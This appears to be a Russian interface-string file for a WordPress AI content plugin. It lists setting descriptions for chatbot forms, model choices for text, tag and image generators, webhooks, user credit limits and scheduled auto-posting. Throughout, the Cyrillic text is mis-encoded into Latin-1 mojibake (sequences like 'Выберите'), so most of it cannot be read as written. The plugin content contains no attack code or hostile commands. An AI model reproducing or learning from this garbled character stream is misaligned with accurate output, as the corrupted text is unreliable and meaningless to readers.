Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° таблицы ÑравнениÑ.Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Контента.Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° выдержек.Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Заголовоков.Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Ð’Ñтупительной ЧаÑти.Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Заключительной ЧаÑти.Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° таблицы ÑÑ€Ð°Ð²Ð½ÐµÐ½Ð¸Ñ Ð¿Ñ€Ð¾Ð´ÑƒÐºÑ‚Ð¾Ð².Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° Ñекций.Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° тегов. Ð’Ñ‹ можете добавить Ñто к тегам поÑтов, еÑли выберете «Теги, Ñгенерированные AI» в поле ÐаÑтроек «ÐвтоматичеÑкое добавление тегов».Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° текÑта.Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° титров.Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° текÑта заголовка. Ð’Ñ‹ можете добавить Ñто в заголовки ПоÑтов, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ð¨Ð¾Ñ€Ñ‚ÐºÐ¾Ð´ %%ai_generated_title%%.Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° текÑта заголовка. Ð’Ñ‹ можете добавить Ñто в заголовки ПоÑтов, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ð¨Ð¾Ñ€Ñ‚ÐºÐ¾Ð´ %%ai_generated_title%%.Выберите модель AI, которую хотите иÑпользовать.Выберите идентификатор аÑÑиÑтента AI, который будет иÑпользоватьÑÑ Ð² Ñтой форме.Выберите аÑÑиÑтента AI, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ñтой формы.Выберите модель AI, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ñтой формы.Выберите модель AI Ð´Ð»Ñ Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚ÐµÐºÑта. Ð’ наÑтоÑщее Ð²Ñ€ÐµÐ¼Ñ Ñпециализированные модели Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¾Ñ‚ OpenAI/AiomaticAPI находÑÑ‚ÑÑ Ð² Ñтадии бета-теÑтированиÑ, поÑтому на данный момент рекомендуетÑÑ Ð¸Ñпользовать модель завершениÑ.Выберите модель AI, которую вы хотите иÑпользовать Ð´Ð»Ñ Ð¼Ð¾Ð´ÐµÑ€Ð°Ñ†Ð¸Ð¸.Выберите модель иÑкуÑÑтвенного интеллекта, которую вы хотите иÑпользовать Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ð¹ в генераторе изображений.Выберите Цвет Фона Формы.Выберите Выравнивание Кнопки Отправки.Выберите ÐÑÑиÑтента, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ñ‡Ð°Ñ‚-бота. Модель, иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð½Ð°Ñ Ð¿Ñ€Ð¸ Ñоздании AI ÐÑÑиÑтента, будет иÑпользоватьÑÑ Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð°.Выберите автора, которого вы хотите назначить Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑки Ñгенерированных ПоÑтов.Выберите Цвет фона формы чат-бота. По умолчанию #f7f7f9Выберите цвет фона формы чат-бота. По умолчанию — #ffffff.Выберите доÑку, ÑвÑзанную Ñ Ð²Ð°ÑˆÐµÐ¹ учетной запиÑью, на которой вы хотите опубликовать Ñвои пины.Выберите Цвет границы Ð´Ð»Ñ Ð¿Ð¾Ð»Ñ Ð²Ð²Ð¾Ð´Ð°. По умолчанию #e1e3e6Выберите Ð±Ð¸Ð·Ð½ÐµÑ ÐºÐ¾Ð¼Ð¿Ð°Ð½Ð¸ÑŽ, ÑвÑзанную Ñ Ð²Ð°ÑˆÐµÐ¹ учетной запиÑью, где вы хотите публиковать Ñвои поÑÑ‚Ñ‹.Выберите Цвет Кнопки Формы.Выберите Цвет текÑта Кнопки Формы.Выберите размер шрифта формы чатбота. По умолчанию 1emВыберите образ чат-бота, который вы хотите иÑпользовать Ð´Ð»Ñ Ñ‚ÐµÐºÑƒÑ‰ÐµÐ¹ наÑтройки чат-бота.Выберите цвет имени перÑонажа.Выберите цвет роли перÑонажа.Выберите Цвет кнопки отправки. По умолчанию # 55a7e2Выберите цвет Кнопки ГолоÑа. По умолчанию #55a7e2Выберите тип контента, который вы хотите отправить на вебхук. Возможные значениÑ: JSON или данные формы.Выберите Ñтрану, в которой вы зарегиÑтрировали Ñвой партнерÑкий аккаунт.Выберите дни недели, когда вы не хотите запуÑкать Ñто правило. Ð’Ñ‹ можете ввеÑти ÑпиÑок названий дней через запÑтую.Выберите режим чата по умолчанию (изображение или текÑÑ‚).Выберите модель по умолчанию, которую вы хотите иÑпользовать Ð´Ð»Ñ AI Comment Writer.Выберите модель по умолчанию, которую вы хотите иÑпользовать Ð´Ð»Ñ Ð¿Ñ€Ð¾Ð¼Ð¿Ñ‚Ð° выбора избранного Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ AI по умолчанию.Выберите модель по умолчанию, которую вы хотите иÑпользовать Ð´Ð»Ñ AI Ð›Ð¸Ð½ÐºÐ¾Ð²Ð°Ð½Ð¸Ñ ÐºÐ»ÑŽÑ‡ÐµÐ²Ñ‹Ñ… Ñлов Выберите модель по умолчанию, которую вы хотите иÑпользовать Ð´Ð»Ñ AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ ÐžÐ¿Ð¸ÑÐ°Ð½Ð¸Ñ Ð¢Ð°ÐºÑономий.Выберите модель по умолчанию, которую вы хотите иÑпользовать Ð´Ð»Ñ AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ ÐžÐ¿Ð¸ÑÐ°Ð½Ð¸Ñ Ð¢Ð°ÐºÑономий. Это уÑтановит опиÑание SEO Ð´Ð»Ñ Ñледующих плагинов SEO: Yoast SEO, All In One SEO, Rank Math.Выберите модель по умолчанию, которую вы хотите иÑпользовать Ð´Ð»Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ð¾Ð½Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ Ð² плагине.Выберите модель по умолчанию, которую вы хотите иÑпользовать Ð´Ð»Ñ Ð¿Ñ€Ð¾Ð¼Ð¿Ñ‚Ð° Ð¸Ð·Ð²Ð»ÐµÑ‡ÐµÐ½Ð¸Ñ ÐºÐ»ÑŽÑ‡ÐµÐ²Ñ‹Ñ… Ñлов в поиÑке видео на YouTube.Выберите Модель по умолчанию, которую вы хотите иÑпользовать Ð´Ð»Ñ Ð¨Ð¾Ñ€Ñ‚ÐºÐ¾Ð´Ð° [aicontent]. Ð’Ñ‹ также можете указать Ñто в параметрах Шорткода.Выберите API Ð’ÑтраиваниÑ, который будет иÑпользоватьÑÑ Ð¿Ð¾ умолчанию.Выберите движок, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ð¹ контента.Выберите движок, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ð¹.Выберите файл Ð´Ð»Ñ Ð·Ð°Ð³Ñ€ÑƒÐ·ÐºÐ¸ в шорткод. Ð’Ñ‹ можете загружать обычные текÑтовые файлы или файлы xlsx. ЕÑли вы загружаете файл xlsx, вы также можете иÑпользовать Ñледующие шорткоды Ð´Ð»Ñ Ð´Ð¾Ñтупа к данным xlsx: %%xlsx_BLOCKID_XLSXROW_XLSXCOLUMN%%, %%xlsx_BLOCKID_column_XLSXCOLUMN%%, %%xlsx_BLOCKID_row_XLSXROW%%, %%xlsx_BLOCKID_row_random%%, %%xlsx_BLOCKID_row_random_check%%Выберите файлы, которые будут доÑтупны аÑÑиÑтенту. Ð’Ñ‹ можете добавить дополнительные файлы в меню «Управление файлами аÑÑиÑтента». Чтобы включить Ñту функцию, Ð´Ð»Ñ Ñтого аÑÑиÑтента необходимо включить интерпретатор кода или извлечение.Выберите Ð¸Ð¼Ñ Ð¿Ð°Ð¿ÐºÐ¸ CloudFlare R2, в которой Ñледует ÑохранÑÑ‚ÑŒ видеофайлы. ЕÑли вы оÑтавите Ñто поле пуÑтым, видео будут загружены в корневую папку вашего CloudFlare R2. Плагин ÑоздаÑÑ‚ указанный вами здеÑÑŒ каталог, еÑли он еще не ÑущеÑтвует.Выберите Ð¸Ð¼Ñ Ð¿Ð°Ð¿ÐºÐ¸ Amazon S3, в которой Ñледует ÑохранÑÑ‚ÑŒ видеофайлы. ЕÑли вы оÑтавите Ñто поле пуÑтым, видео будут загружены в корневую папку вашего Amazon S3. Плагин ÑоздаÑÑ‚ указанный вами здеÑÑŒ каталог, еÑли он еще не ÑущеÑтвует.Выберите Ð¸Ð¼Ñ Ð¿Ð°Ð¿ÐºÐ¸ из Digital Ocean Spaces, в которой Ñледует Ñохранить видеофайлы. ЕÑли вы оÑтавите Ñто поле пуÑтым, видео будут загружены в корневую папку вашего Digital Ocean Spaces. Плагин ÑоздаÑÑ‚ указанный вами здеÑÑŒ каталог, еÑли он еще не ÑущеÑтвует.Выберите Ð¸Ð¼Ñ Ð¿Ð°Ð¿ÐºÐ¸ Wasabi, в которой Ñледует Ñохранить видеофайлы. ЕÑли вы оÑтавите Ñто поле пуÑтым, видео будут загружены в корневую папку вашего Wasabi. Плагин ÑоздаÑÑ‚ указанный вами здеÑÑŒ каталог, еÑли он еще не ÑущеÑтвует.Выберите Цвет шрифта вÑплывающей формы чат-бота AI. По умолчанию #f0f0f0Выберите Цвет шрифта формы чат-бота AI. По умолчанию черныйВыберите Цвет шрифта формы чат-бота пользователÑ. По умолчанию #0084ff.Выберите Цвет шрифта формы пользовательÑкого чат-бота. По умолчанию белыйВыберите выÑоту формы чат-бота. По умолчанию — авто. Ð’Ñ‹ можете уÑтановить Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð² пикÑелÑÑ…, например: 400 пикÑелей.Выберите модель Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð´Ð»Ñ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ð¹, Ñозданных AI.Выберите модель Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð´Ð»Ñ Ñ‡Ð°Ñ‚-бота изображений AI.Выберите размер Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð´Ð»Ñ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ð¹, Ñгенерированных AI.Выберите размер Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð´Ð»Ñ Ð§Ð°Ñ‚-бота Ñ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸ÐµÐ¼ AI.Выберите интервал в чаÑах, поÑле которого вы хотите запуÑтить Ñто правило. ОпределÑетÑÑ Ð² чаÑах.Выберите интервал в минутах, поÑле которого вы хотите запуÑтить Ñто правило. ОпределÑетÑÑ Ð² минутах.Выберите Ñзык автоматичеÑкого ÑкÑтрактора ключевых Ñлов, который иÑпользуетÑÑ Ð´Ð»Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ð¸ внутренней/внешней перелинковки плагина.Выберите метод линкованиÑ, который будет иÑпользоватьÑÑ Ð² ПоÑтах.Выберите раÑположение изображений заголовков.Выберите раÑположение заголовков изображений/видео.Выберите раÑположение Кнопки Отправки.Выберите макÑимальную длину Полей Ввода Формы.Выберите макÑимальное количеÑтво кредитов Ð´Ð»Ñ Ð³Ð¾Ñтей, которые не вошли в ÑиÑтему. Чтобы отключить Ñту функцию, оÑтавьте Ñто поле пуÑтым.Выберите макÑимальное количеÑтво кредитов Ð´Ð»Ñ Ð·Ð°Ñ€ÐµÐ³Ð¸Ñтрированных пользователей. Также вы можете выбрать Тип кредитов: запроÑÑ‹, токены или цена. Чтобы отключить Ñту функцию, оÑтавьте Ñто поле пуÑтым.Выберите макÑимальное количеÑтво ключевых Ñлов Ð´Ð»Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸ за один проход.Выберите макÑимальное количеÑтво ПоÑтов, которое Ñто правило может Ñоздать за один раз.Выберите макÑимальное количеÑтво изображений из результатов поиÑка изображений. Более релевантные Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¾Ñ‚Ð¾Ð±Ñ€Ð°Ð¶Ð°ÑŽÑ‚ÑÑ Ð¿ÐµÑ€Ð²Ñ‹Ð¼Ð¸ в результатах поиÑка изображений royalty free. Из-за Ñтого иÑпользование здеÑÑŒ чиÑла вÑего 4 заÑтавит плагин иÑпользовать только первые 4 результата поиÑка изображений, которые были возвращены в результате поиÑка изображений royalty free. Это может повыÑить точноÑÑ‚ÑŒ изображениÑ. ЕÑли вы оÑтавите Ñто поле пуÑтым, будет иÑпользовано значение по умолчанию: 4Выберите Ñообщение, которое будет отображатьÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»ÑŽ в Ñлучае неудачи при Ñоздании изображениÑ.Выберите ПоÑÑ‚, которое будет отображатьÑÑ Ð´Ð»Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»ÐµÐ¹, когда их ввод отмечен флажком.Выберите метод, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ð¿Ð°Ñ€Ñинга. Это повлиÑет на шорткод %%item_scraped_data%%.Выберите метод, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð° заголовков.Выберите метод, который вы хотите иÑпользовать Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑкого Ð¸Ð·Ð²Ð»ÐµÑ‡ÐµÐ½Ð¸Ñ ÐºÐ»ÑŽÑ‡ÐµÐ²Ñ‹Ñ… Ñлов Ñтатьи.Выберите минимальную длину Полей Ввода Формы.Выберите минимальную выÑоту формы чат-бота (при изменении размера формы Ñто Ð¼Ð¸Ð½Ð¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ð²Ñ‹Ñота, которую ей будет разрешено получить. По умолчанию — 250 пикÑелей. Ð’Ñ‹ можете уÑтановить Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð² пикÑелÑÑ…, например: 400 пикÑелей.Выберите минимальное количеÑтво Ñимволов, которое должно быть в дополнительном Контенте. ЕÑли API возвращает Ñодержимое, в котором меньше Ñимволов, чем Ñто чиÑло, будет выполнен еще один вызов API, пока не будет доÑтигнуто Ñто ограничение на количеÑтво Ñимволов. ПожалуйÑта, проверьте ограничение ÑкороÑти API здеÑÑŒ .Выберите минимальное количеÑтво Ñимволов, которое должно быть в ПоÑÑ‚Ñ‹Ñ…. ЕÑли API возвращает Ñодержимое, в котором меньше Ñимволов, чем Ñто чиÑло, будет выполнен еще один вызов API, пока не будет доÑтигнуто Ñто ограничение на количеÑтво Ñимволов. ПожалуйÑта, проверьте ограничение ÑкороÑти API здеÑÑŒ .Выберите модель чат-бота.Выберите модель, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð´Ð»Ñ Ñ‡Ð°Ñ‚-бота.Выберите модель, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð¿Ñ€Ð¸ Ñоздании голоÑов.Выберите модель, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ñ AI Создателем.Выберите модель, которую вы хотите иÑпользовать Ð´Ð»Ñ Ð²ÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ Ñ€ÐµÑ€Ð°Ð¹Ñ‚Ð¸Ð½Ð³Ð° и оптимизации контента.Выберите модель, которую хотите иÑпользовать Ð´Ð»Ñ Ð²ÑтраиваниÑ.Выберите модель, которую вы хотите иÑпользовать Ð´Ð»Ñ Ð¸Ð·Ð²Ð»ÐµÑ‡ÐµÐ½Ð¸Ñ ÐšÐ»ÑŽÑ‡ÐµÐ²Ñ‹Ñ… Слов Ð´Ð»Ñ Ñ€ÐµÐ·ÑƒÐ»ÑŒÑ‚Ð°Ñ‚Ð¾Ð² поиÑка в Интернете.Выберите модель, которую вы хотите иÑпользовать Ð´Ð»Ñ Ð¸Ð·Ð²Ð»ÐµÑ‡ÐµÐ½Ð¸Ñ ÐšÐ»ÑŽÑ‡ÐµÐ²Ñ‹Ñ… Слов, Ð´Ð»Ñ Ð±ÐµÑплатного импорта изображений.Выберите количеÑтво результатов поиÑка Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð² Шорткоде %%web_results%%. Значение по умолчанию Ð´Ð»Ñ Ñтих ÐаÑтроек: 3Выберите цифровой идентификатор автора, который вы хотите назначить Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑки Ñоздаваемых поÑтов.Выберите выходной формат, который будет иÑпользоватьÑÑ Ð¿Ñ€Ð¸ преобразовании текÑта в речь.Выберите Ñтраницу, ÑвÑзанную Ñ Ð²Ð°ÑˆÐ¸Ð¼ идентификатором приложениÑ, на которой вы хотите публиковать Ñвои поÑÑ‚Ñ‹.Выберите цвет имени перÑонажа Ð´Ð»Ñ Ð¿Ð¾Ð»Ñ Ð²Ð²Ð¾Ð´Ð°. По умолчанию — #3c434a.Выберите цвет роли перÑонажа Ð´Ð»Ñ Ð¿Ð¾Ð»Ñ Ð²Ð²Ð¾Ð´Ð°. По умолчанию — #3c434a.Выберите цвет Ð·Ð°Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»Ñ Ð´Ð»Ñ Ð¿Ð¾Ð»Ñ Ð²Ð²Ð¾Ð´Ð°. По умолчанию — #e1e3e6.Выберите текÑÑ‚-заполнитель выходных данных формы.Выберите точку Ð·Ñ€ÐµÐ½Ð¸Ñ Ñтатьи.Выберите категорию ПоÑта, который вы хотите Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑки Ñгенерированных ПоÑтов иметь.Выберите теги ПоÑтов, которые вы хотите иÑпользовать Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑки Ñгенерированных ПоÑтов. Ð¡Ð¿Ð¸Ð½Ñ‚Ð°ÐºÑ Ð¿Ð¾Ð´Ð´ÐµÑ€Ð¶Ð¸Ð²Ð°ÐµÑ‚ÑÑ.Выберите типы поÑтов, Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ñ… вы хотите включить автоматичеÑкую индекÑацию вÑтраиваниÑ.Выберите режим поÑтинга, который вы хотите иÑпользовать. Это будет Ñквивалентно режимам поÑтинга, доÑтупным в меню плагина Bulk Post Creator.Выберите качеÑтво Ñжатых изображений. ДопуÑтимые значениÑ: 1-100. 1 – Ñамое низкое качеÑтво, 100 – Ñамое выÑокое качеÑтво. ЕÑли вы хотите отключить Ñту функцию, оÑтавьте Ñто поле пуÑтым. Эта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð±ÑƒÐ´ÐµÑ‚ работать только в том Ñлучае, еÑли вы Ñкопируете изображениÑ, Ñозданные AI, из иÑходных иÑточников. По умолчанию 75.Выберите качеÑтво изображений Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð½Ñ‹Ð¼ размером. ДопуÑтимые значениÑ: 1-100. 1 – Ñамое низкое качеÑтво, 100 – Ñамое выÑокое качеÑтво. ЕÑли вы хотите отключить Ñту функцию, оÑтавьте Ñто поле пуÑтым.Выберите качеÑтво изображений Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð½Ñ‹Ð¼ размером. ДопуÑтимые значениÑ: 1-100. 1 – Ñамое низкое качеÑтво, 100 – Ñамое выÑокое качеÑтво. ЕÑли вы хотите отключить Ñту функцию, оÑтавьте Ñто поле пуÑтым. Эта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð±ÑƒÐ´ÐµÑ‚ работать только в том Ñлучае, еÑли вы Ñкопируете изображениÑ, Ñозданные AI, из иÑходных иÑточников.Выберите тип запроÑа, по которому вы хотите найти полное Ñодержание Ñтатьи.Выберите метод запроÑа, который вы хотите иÑпользовать при отправке данных в вебхук.Выберите режим Ð¿Ð¾Ð²Ñ‚Ð¾Ñ€ÐµÐ½Ð¸Ñ Ð¿Ð¾Ð¸Ñкового запроÑа при поиÑке беÑплатных изображений.Выберите размер Ñгенерированного изображениÑ.Выберите иÑходный Ñзык перевода.Выберите иÑточник Ñозданных избранных изображений.Выберите иÑточник заголовка ПоÑÑ‚Ñ‹. ЕÑли вы выберете «Создано AI», Плагин ÑоздаÑÑ‚ Заголовок, Ñгенерированный AI, на оÑнове Ключевых Слов, которые вы введете в поле ÐаÑтроек «СпиÑок Заголовоков публикации». Ð’ противном Ñлучае он будет иÑпользовать перечиÑленные там заголовки Ð´Ð»Ñ Ñозданных ПоÑтов.Выберите ÑтатуÑ, который вы хотите иметь Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑки Ñгенерированных ПоÑтов.Выберите такÑономии, которые вы хотите затронуть в процеÑÑе ручного ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ñ‚Ð°ÐºÑономии.Выберите шаблон вÑтраиваниÑ, который будет Ñохранен в базе данных. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%post_title%%, %%post_content%%, %%post_excerpt%%, %%post_url%%, %%post_id%%. Значение по умолчанию Ð´Ð»Ñ Ñтого полÑ: %%post_title%% -- %%post_excerpt%% -- Подробнее Ñм.: %%post_url%%Выберите цвет текÑта Ð´Ð»Ñ Ð¿Ð¾Ð»Ñ Ð²Ð²Ð¾Ð´Ð°. По умолчанию — #e1e3e6.Выберите Цвет текÑта Формы.Выберите Цвет текÑта кнопки отправки. По умолчанию # 55a7e2Выберите временной интервал, Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ð¾Ð³Ð¾ будет применÑÑ‚ÑŒÑÑ ÑƒÐºÐ°Ð·Ð°Ð½Ð½Ð¾Ðµ выше ограничение.Выберите Тип (ПоÑÑ‚ / Ñтраница) Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑки Ñгенерированного Ñлемента.Выберите Тип кредитов.Выберите тип Ñортировки возвращаемых результатов.Выберите тип Ñортировки возвращаемых результатов. Это будет работать только в том Ñлучае, еÑли вы также уÑтановите значение в поле наÑтроек Â«ÐšÐ°Ñ‚ÐµÐ³Ð¾Ñ€Ð¸Ñ Amazon».Выберите тип Ñортировки возвращаемых результатов. Это будет работать только в том Ñлучае, еÑли вы также уÑтановите значение в поле наÑтроек Â«ÐšÐ°Ñ‚ÐµÐ³Ð¾Ñ€Ð¸Ñ Amazon».Выберите Роль ÐŸÐ¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ð´Ð»Ñ ÐžÐ³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ð¹.Выберите пользователей, которые будут иметь полный доÑтуп при взаимодейÑтвAI Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñми Плагина.Выберите голоÑ, который будет иÑпользоватьÑÑ Ð¿Ñ€Ð¸ преобразовании текÑта в речь.Выберите ÑпоÑоб, которым вы хотите запланировать автоматичеÑкое редактирование ÑущеÑтвующих ПоÑтов на вашем Ñайте, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ð¿Ñ€Ð¸Ð²ÐµÐ´ÐµÐ½Ð½Ñ‹Ðµ ниже наÑтройки.Выберите ширину формы чат-бота. Ð”Ð»Ñ Ð¿Ð¾Ð»Ð½Ð¾Ð¹ ширины можно уÑтановить 100% (значение по умолчанию). Ð’Ñ‹ также можете уÑтановить Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð² пикÑелÑÑ…, например: 400 пикÑелей.Выберите тип OmniBlock, который вы хотите добавить.Выберите тип блока, который вы хотите добавить.Выберите, что вы хотите делать Ñ Ð½Ð°Ð·Ð²Ð°Ð½Ð¸Ñми продуктов в ÑтатьÑÑ….Выберите, что вы хотите Ñделать Ñ Ð Ð°Ð·Ð´ÐµÐ»Ð°Ð¼Ð¸ в СтатьÑÑ….Выберите, когда вы хотите автоматичеÑки обрабатывать ПоÑÑ‚Ñ‹.Выберите, куда вы хотите Ñкопировать аудио/видео файлы. Ð’Ñ‹ также можете Ñкопировать файлы в облачное хранилище, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ñто раÑширение:Выберите, где вы хотите показать вÑтроенный чат-бот.Выберите, какие ПоÑÑ‚Ñ‹ должны быть обработаны — ПоÑÑ‚Ñ‹ Ñ Ð¸Ð·Ð±Ñ€Ð°Ð½Ð½Ñ‹Ð¼Ð¸ изображениÑми или без них.Выберите предпочтительный порÑдок, в котором вы хотите иÑкать иÑточники изображений без лицензионных отчиÑлений.Отправить уведомление по Ñлектронной почте, когда определенное правило иÑчерпало Ñвои Ключевые Ñлова / Темы:Отправить Сводку Ð’Ñ‹Ð¿Ð¾Ð»Ð½ÐµÐ½Ð¸Ñ 